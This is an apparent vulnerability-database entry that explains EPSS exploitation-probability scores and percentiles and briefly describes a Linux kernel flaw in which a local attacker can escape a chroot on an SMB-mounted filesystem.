EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The Linux Kernel is prone to a vulnerability that allows attackers to bypass a security restriction. This issue is due to a failure in the kernel to properly sanitize user-supplied data.
The problem affects chroot inside of an SMB-mounted filesystem ('smbfs'). A local attacker who is bounded by the chroot can exploit this issue to bypass the chroot restriction and gain unauthorized access to the filesystem.
